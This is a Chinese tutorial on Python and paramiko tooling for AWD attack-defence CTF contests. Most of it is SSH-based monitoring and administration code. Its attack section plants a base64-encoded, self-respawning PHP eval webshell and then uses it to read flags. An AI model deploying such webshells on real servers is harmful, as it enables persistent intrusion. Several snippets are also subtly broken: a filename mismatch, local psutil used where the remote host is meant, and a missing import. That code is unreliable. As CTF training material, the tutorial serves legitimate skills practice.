【教程】AWD中如何通过Python批量快速管理服务器？

前言

很多同学都知道，我们常见的CTF赛事除了解题赛之外，还有一种赛制叫AWD赛制。在这种赛制下，我们战队会拿到一个或多个服务器。服务器的连接方式通常是SSH链接，并且可能一个战队可能会同时有多个服务器。

本期文章，我们来详细讲述一下如何使用Python绝地反击、逆风翻盘。

万能的Python

Python作为一个解释型语言，拥有高集成性。虽然高并发、执行效率有些勉强，但是不免是一个好用的语言。

Python几乎可以涵盖在AWD中的多种操作，我们在下面对部分可能用到的和已经用到的功能给大家写一些例子，方便文章后续的综合。

Python的SSH操作

我们想要链接容器，有很多方式，最最最正常的方式，当然是通过SSH操作了。

我们可以通过用户名和密码去连接靶机，然后执行命令，并取得结果。

相信聪明的人已经知道了，我们可以这样操作SSH之后别提有多方便了！

首先，我们需要一个Python库：“paramiko”

pip3 install paramiko

给出示例代码：

import paramiko

def execute_ssh_command(host, username, password, command):
    # 创建SSH客户端对象
    ssh_client = paramiko.SSHClient()

    # 自动添加主机密钥（慎用，可能会有安全风险）
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        # 连接SSH服务器
        ssh_client.connect(hostname=host, username=username, password=password)

        # 执行命令
        stdin, stdout, stderr = ssh_client.exec_command(command)

        # 获取命令执行结果
        result = stdout.read().decode().strip()

        # 关闭SSH连接
        ssh_client.close()

        return result
    except Exception as e:
        return str(e)

if __name__ == "__main__":
    host = "ip"  # 替换为SSH主机地址
    username = "root"  # 替换为SSH主机用户名
    password = "password"  # 替换为SSH主机用户的密码
    command = "ls /"

    result = execute_ssh_command(host, username, password, command)
    print(result)

我们根据上面的代码，是不是也可以根据一些基础Python知识进行完善，填补更多的内容？

Python SSH 后一些小技巧

上面这个例子，是通过SSH获取容器ID的例子，代码如下：

import paramiko

def get_remote_all_container_ids(host, username, password):
    try:
        # 创建SSH客户端对象
        ssh_client = paramiko.SSHClient()

        # 自动添加主机密钥（慎用，可能会有安全风险）
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        # 连接SSH服务器
        ssh_client.connect(hostname=host, username=username, password=password)

        # 执行docker ps -aq命令并捕获输出
        stdin, stdout, stderr = ssh_client.exec_command('docker ps -aq')

        # 获取命令执行结果，即所有容器的ID
        container_ids = stdout.read().decode().strip().split()

        # 关闭SSH连接
        ssh_client.close()

        return container_ids
    except Exception as e:
        print(f"Error: {str(e)}")
        return []

if __name__ == "__main__":
    host = "192.168.31.161"  # 替换为远程主机的IP地址或主机名
    username = "root"  # 替换为登录用户名
    password = "password"  # 替换为登录密码

    container_ids_list = get_remote_all_container_ids(host, username, password)
    print(container_ids_list)

我们额外注意获取结果那一行的命令：container_ids = stdout.read().decode().strip().split()

这一行的代码是读取执行后输出的结果，解码，然后分割。

事实上我们很多地方都可以根据这样去写，并取回我们想要的东西。

如果我们获取了结果，那么重启docker容器、进入容器执行命令是不是也轻而易举了。

防守篇

在防守篇中，我们着重对SSH后一些操作进行举例。

SSH后快速查看容器和当前目录

适用：AWD中开赛迅速熟悉自身靶机容器。

import paramiko
import sys
import select



class InteractiveShell:
    def __init__(self, ssh_client):
        self.ssh_client = ssh_client
        self.channel = ssh_client.invoke_shell()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        self.ssh_client.close()

    def execute_command(self, command):
        self.channel.send(command + "\n")
        while not self.channel.recv_ready():
            continue
        output = self.channel.recv(4096).decode()
        return output

    def interactive_shell(self):
        try:
            while True:
                # 监听标准输入和远程终端输出
                inputs, _, _ = select.select([sys.stdin, self.channel], [], [])

                for src in inputs:
                    if src is sys.stdin:
                        # 从标准输入读取输入，并发送到远程终端
                        user_input = sys.stdin.readline()
                        self.channel.sendall(user_input.encode())
                        sys.stdout.flush()  # 用于刷新终端，防止不输出或输出不完整命令提示符
                    else:
                        # 从远程终端读取输出，并显示在本地终端
                        output = self.channel.recv(1024).decode()
                        sys.stdout.write(output)
                        sys.stdout.flush()  # 用于刷新终端，防止不输出或输出不完整命令提示符

        except KeyboardInterrupt:
            # 用户按下Ctrl+C退出终端时，关闭SSH连接
            self.ssh_client.close()
            print("SSH连接已关闭.")

        except Exception as e:
            print(f"Error: {str(e)}")


def get_remote_all_container_ids(host, username, password):
    try:
        # 创建SSH客户端对象
        ssh_client = paramiko.SSHClient()

        # 自动添加主机密钥（慎用，可能会有安全风险）
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        # 连接SSH服务器
        ssh_client.connect(hostname=host, username=username, password=password)

        # 执行docker ps命令并输出
        stdin, stdout, stderr = ssh_client.exec_command('docker ps')
        print(stdout.read().decode())
        # 执行docker ps -aq命令并捕获输出
        stdin, stdout, stderr = ssh_client.exec_command('docker ps -aq')
        # 获取命令执行结果，即所有容器的ID，成列表
        container_ids = stdout.read().decode().strip().split()
        print(f"容器列表：{container_ids}")
        stdin, stdout, stderr = ssh_client.exec_command('ls')
        print(f"当前目录下有：\n{stdout.read().decode()}")
        stdin, stdout, stderr = ssh_client.exec_command('pwd')
        print(f"当前目录：{stdout.read().decode()}")
        # 执行docker ps -aq命令并捕获输出
        with InteractiveShell(ssh_client) as shell:
            # 开始交互式终端
            shell.interactive_shell()

        ssh_client.close()

    except Exception as e:
        print(f"Error: {str(e)}")
        return []

if __name__ == "__main__":
    host = "192.168.31.161"  # 替换为远程主机的IP地址或主机名
    username = "root"  # 替换为登录用户名
    password = "password"  # 替换为登录密码

    get_remote_all_container_ids(host, username, password)

在执行完毕后，还会为你打开交互式终端，快速的进行awd工作。

SSH后快速检查服务

适用：快速检查服务，检修漏洞

import paramiko
import re

def run_ssh_command(ssh_client, command):
    _, stdout, _ = ssh_client.exec_command(command)
    return stdout.read().decode()

def get_running_services_with_ports(hostname, username, password):
    try:
        # 创建SSH客户端
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        
        # 连接SSH服务器
        client.connect(hostname, username=username, password=password)
        
        # 获取所有正在运行的服务及其状态
        services_info = run_ssh_command(client, "sudo systemctl list-units --type=service --all --no-legend")
        services_list = services_info.strip().split("\n")
        
        services = {}
        
        for service_info in services_list:
            parts = service_info.split()
            if len(parts) >= 3:
                service_name = parts[0]
                service_state = parts[2]
                services[service_name] = {"state": service_state, "ports": [], "pid": None}
                
                # 检测服务占用的端口和PID
                if service_state == "running":
                    cmd = f"sudo ss -tuln | grep ':{service_name}'"
                    output = run_ssh_command(client, cmd)
                    lines = output.strip().split("\n")
                    for line in lines:
                        match = re.search(r":(\d+)\s+", line)
                        if match:
                            port = int(match.group(1))
                            services[service_name]["ports"].append(port)
                            
                    cmd = f"sudo systemctl show -p MainPID {service_name}"
                    output = run_ssh_command(client, cmd)
                    match = re.search(r"MainPID=(\d+)", output)
                    if match:
                        pid = int(match.group(1))
                        services[service_name]["pid"] = pid
        
        # 关闭SSH连接
        client.close()
        
        return services
    
    except (paramiko.AuthenticationException, paramiko.SSHException, socket.error) as e:
        print(f"Error: {e}")
        return None

# 示例用法
hostname = "192.168.31.161"
username = "root"
password = "password"

services = get_running_services_with_ports(hostname, username, password)
if services:
    for service, info in services.items():
        print(f"Service: {service}")
        print(f"  State: {info['state']}")
        print(f"  Ports: {info['ports']}")
        print(f"  PID: {info['pid']}")
else:
    print("Failed to retrieve services.")

SSH后快速检查开启的端口和占用端口的程序、PID，并列表

适用：同上

import paramiko
from tabulate import tabulate


def run_ssh_command(ssh_client, command):
    _, stdout, _ = ssh_client.exec_command(command)
    return stdout.read().decode()

def get_open_ports_with_processes(hostname, username, password):
    try:
        # 创建SSH客户端
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        
        # 连接SSH服务器
        client.connect(hostname, username=username, password=password)
        
        # 获取开放的端口信息
        open_ports_info = run_ssh_command(client, "sudo netstat -tuln")
        open_ports_list = open_ports_info.strip().split("\n")
        
        open_ports = {}
        
        for line in open_ports_list[2:]:  # 跳过表头
            parts = line.split()
            if len(parts) == 6:
                protocol = parts[0]
                port = int(parts[3].split(":")[-1])
                
                # 获取占用端口的程序及其PID
                cmd = f"sudo lsof -i :{port} | awk 'NR==2{{print $1, $2}}'"
                output = run_ssh_command(client, cmd)
                process_info = output.strip().split()
                if len(process_info) == 2:
                    program, pid = process_info
                    open_ports[port] = {"protocol": protocol, "program": program, "pid": pid}
        
        # 关闭SSH连接
        client.close()
        
        return open_ports
    
    except (paramiko.AuthenticationException, paramiko.SSHException, socket.error) as e:
        print(f"Error: {e}")
        return None

# 示例用法
hostname = "192.168.31.161"
username = "root"
password = "password"

open_ports = get_open_ports_with_processes(hostname, username, password)
if open_ports:
    table_data = []
    for port, info in open_ports.items():
        table_data.append([info['pid'], info['program'], port])
    
    # 使用tabulate库输出表格并设置表格边框颜色
    headers = ["PID", "程序名", "端口"]
    print(tabulate(table_data, headers=headers, tablefmt="grid", numalign="center", colalign=("center", "center", "center",)))
else:
    print("Failed to retrieve open ports.")

SSH后轮询文件变化

适用：AWD中开赛后进行文件监控

import paramiko
import time
import hashlib

def run_ssh_command(ssh_client, command):
    _, stdout, _ = ssh_client.exec_command(command)
    return stdout.read().decode()

def get_md5_checksum(ssh_client, file_path):
    md5_cmd = f"sudo md5sum {file_path}"
    md5_output = run_ssh_command(ssh_client, md5_cmd)
    md5_checksum = md5_output.strip().split()[0]
    return md5_checksum

def monitor_directory_changes(hostname, username, password, directory_path):
    try:
        # 创建SSH客户端
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        
        # 连接SSH服务器
        client.connect(hostname, username=username, password=password)
        
        # 初始化MD5字典，用于存储文件的前一次MD5值
        md5_dict = {}
        counter = 0
        while True:
            # 获取目录下所有文件路径
            find_cmd = f"sudo find {directory_path} -type f"
            files_output = run_ssh_command(client, find_cmd)
            file_paths = files_output.strip().split("\n")
            
            for file_path in file_paths:
                # 获取当前文件的MD5值
                md5_checksum = get_md5_checksum(client, file_path)
                
                # 如果文件在字典中不存在，则添加到字典中，并输出MD5值
                if file_path not in md5_dict:
                    md5_dict[file_path] = md5_checksum
                    if counter == 0:
                        print(f"初检文件：{file_path}: {md5_checksum}")
                    else:
                        print(f"新增文件：{file_path}: {md5_checksum}")
                else:
                    # 如果文件的MD5值发生变化，则输出变化信息
                    if md5_dict[file_path] != md5_checksum:
                        print(f"{file_path} 被更改!")
                        print(f"旧的 MD5: {md5_dict[file_path]}")
                        print(f"新的 MD5: {md5_checksum}")
                        md5_dict[file_path] = md5_checksum
                counter += 1
            
            # 休眠5秒
            time.sleep(5)
            
    except (paramiko.AuthenticationException, paramiko.SSHException, socket.error) as e:
        print(f"Error: {e}")

# 示例用法
hostname = "192.168.31.161"
username = "root"
password = "password"
directory_path = "/root/Test/"

monitor_directory_changes(hostname, username, password, directory_path)

SSH后检测服务器状态

适用：AWD中检测服务器状态，防止搅屎。

import paramiko
import psutil
import curses

def run_ssh_command(ssh_client, command):
    _, stdout, _ = ssh_client.exec_command(command)
    return stdout.read().decode()

def get_system_info(ssh_client):
    hostname = run_ssh_command(ssh_client, "hostname")
    cpu_model = run_ssh_command(ssh_client, "cat /proc/cpuinfo | grep 'model name' | uniq")
    total_memory = run_ssh_command(ssh_client, "free -h | awk 'NR==2{print $2}'")
    return hostname.strip(), cpu_model.strip(), total_memory.strip()

def get_cpu_usage(ssh_client):
    cpu_usage = psutil.cpu_percent()
    return cpu_usage

def get_memory_usage(ssh_client):
    memory_usage = psutil.virtual_memory().percent
    return memory_usage

def get_disk_usage(ssh_client):
    disk_usage = psutil.disk_usage('/').percent
    return disk_usage

def get_network_usage(ssh_client):
    net_io_counters = psutil.net_io_counters()
    network_usage = (net_io_counters.bytes_sent + net_io_counters.bytes_recv) * 100 / (net_io_counters.bytes_sent + net_io_counters.bytes_recv + net_io_counters.errin + net_io_counters.errout)
    return network_usage

def print_stats(window, hostname, cpu_model, total_memory, cpu_usage, memory_usage, disk_usage, network_usage):
    window.addstr(0, 0, f"Hostname: {hostname}")
    window.addstr(1, 0, f"CPU Model: {cpu_model}")
    window.addstr(2, 0, f"Total Memory: {total_memory}")
    window.addstr(4, 0, f"CPU Usage: {cpu_usage:.2f}%")
    window.addstr(5, 0, f"Memory Usage: {memory_usage:.2f}%")
    window.addstr(6, 0, f"Disk Usage: {disk_usage:.2f}%")
    window.addstr(7, 0, f"Network Usage: {network_usage:.2f}%")
    window.refresh()

def monitor_server_stats(window, ssh_client):
    # 获取系统信息
    hostname, cpu_model, total_memory = get_system_info(ssh_client)

    while True:
        # 获取资源占用率
        cpu_usage = get_cpu_usage(ssh_client)
        memory_usage = get_memory_usage(ssh_client)
        disk_usage = get_disk_usage(ssh_client)
        network_usage = get_network_usage(ssh_client)

        # 输出并刷新信息
        print_stats(window, hostname, cpu_model, total_memory, cpu_usage, memory_usage, disk_usage, network_usage)

if __name__ == "__main__":
    # 示例用法
    hostname = "192.168.31.161"
    username = "root"
    password = "password"

    # 创建SSH客户端
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # 连接SSH服务器
    client.connect(hostname, username=username, password=password)

    # 初始化curses
    curses.wrapper(monitor_server_stats, client)

进攻篇

通过一句话木马插入不死马

这里需要安装qsnctf这个Python库和requests，pip3 install qsnctf requests

直接搅屎棍！

from qsnctf import *
import requests

get_exec_webshell_post('http://localhost/shell.php', 'password', 'echo PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KDEpOyAjMeihqOekuu+8jOW/veeVpeS4juWuouaIt+err+aWreW8gOi/nuaOpe+8jOe7p+e7reaJp+ihjOiEmuacrAp1bmxpbmsoX19GSUxFX18pOyAj5omn6KGM5a6M5ZCO5Yig6Zmk6Ieq6LqrCndoaWxlICgxKSB7CiAgICAkY29udGVudCA9ICI8P3BocCBAZXZhbCgkX1BPU1RbImNtZCJdKSA/PiI7CiAgICBmaWxlX3B1dF9jb250ZW50cygiLmJzbS5waHAiLCAkY29udGVudCk7CiAgICB1c2xlZXAoMTAwMDApOyAj5YGc5LiA5LyaCn0KPz4= | base64 --decode > busishell.php')
requests.get('http://localhost/busishell.php')

通过刚刚的不死马Cat Flag

from qsnctf import *

FLAG = get_exec_webshell_post('http://localhost/.bs.php', 'cmd', 'cat /flag && echo $FLAG')
print(FLAG)

配合各平台批量交FLAG的去提交

部分平台是cat /flag 部分是echo $FLAG

剩下的就是典型一些的进攻脚本了，我这里就不填充了。

通用篇

SSH交互式

通过交互式SSH可以快速的创建一个或n个低占用的SSH终端。

import paramiko
import sys
import select

class InteractiveShell:
    def __init__(self, ssh_client):
        self.ssh_client = ssh_client
        self.channel = ssh_client.invoke_shell()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        self.ssh_client.close()

    def execute_command(self, command):
        self.channel.send(command + "\n")
        while not self.channel.recv_ready():
            continue
        output = self.channel.recv(4096).decode()
        return output

    def interactive_shell(self):
        try:
            while True:
                # 监听标准输入和远程终端输出
                inputs, _, _ = select.select([sys.stdin, self.channel], [], [])

                for src in inputs:
                    if src is sys.stdin:
                        # 从标准输入读取输入，并发送到远程终端
                        user_input = sys.stdin.readline()
                        self.channel.sendall(user_input.encode())
                        sys.stdout.flush()  # 用于刷新终端，防止不输出或输出不完整命令提示符
                    else:
                        # 从远程终端读取输出，并显示在本地终端
                        output = self.channel.recv(1024).decode()
                        sys.stdout.write(output)
                        sys.stdout.flush()  # 用于刷新终端，防止不输出或输出不完整命令提示符

        except KeyboardInterrupt:
            # 用户按下Ctrl+C退出终端时，关闭SSH连接
            self.ssh_client.close()
            print("SSH连接已关闭.")

        except Exception as e:
            print(f"Error: {str(e)}")

if __name__ == "__main__":
    host = "192.168.31.161"  # 替换为远程主机的IP地址或主机名
    username = "root"  # 替换为登录用户名
    password = "password"  # 替换为登录密码

    try:
        # 创建SSH客户端对象
        ssh_client = paramiko.SSHClient()

        # 自动添加主机密钥（慎用，可能会有安全风险）
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        # 连接SSH服务器
        ssh_client.connect(hostname=host, username=username, password=password)

        with InteractiveShell(ssh_client) as shell:
            # 开始交互式终端
            shell.interactive_shell()

    except Exception as e:
        print(f"Error: {str(e)}")